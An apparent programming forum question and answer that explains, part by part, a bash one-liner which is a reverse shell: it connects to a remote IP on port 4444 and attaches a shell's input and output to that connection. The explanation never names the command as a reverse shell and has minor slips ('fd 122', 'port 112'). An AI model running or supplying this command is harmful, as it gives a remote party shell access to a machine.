SoulRebel February 2016

Understanding "bash" snippets

Could someone explain the following command for me please?

0<&112-;exec 112<>/dev/tcp/10.81.147.182/4444;sh <&112 >&112 2>&112

Answers


cdarke February 2016

See What are the uses of the exec command in shell scripts?

Abbreviations:

  • fd - file descriptor, an I/O channel identified by an integer
  • stdin - file descriptor zero, standard input, by default the terminal keyboard
  • stdout - file descriptor 1, standard output, by default the buffered terminal screen
  • stderr - file descriptor 2, standard error, by default the unbuffered terminal screen

Breaking this down:

# Move existing fd 122 to fd 0 (stdin), then close fd 112
0<&112-;      

# Open fd 112 for read/write on IP address and port
exec 112<>/dev/tcp/10.81.147.182/4444;  

# Run a POSIX shell (sh) taking stdin stdout and stderr to/from port 112
sh <&112 >&112 2>&112   

Post Status

Asked in February 2016
Viewed 1,158 times
Voted 10
Answered 1 times

Search




Leave an answer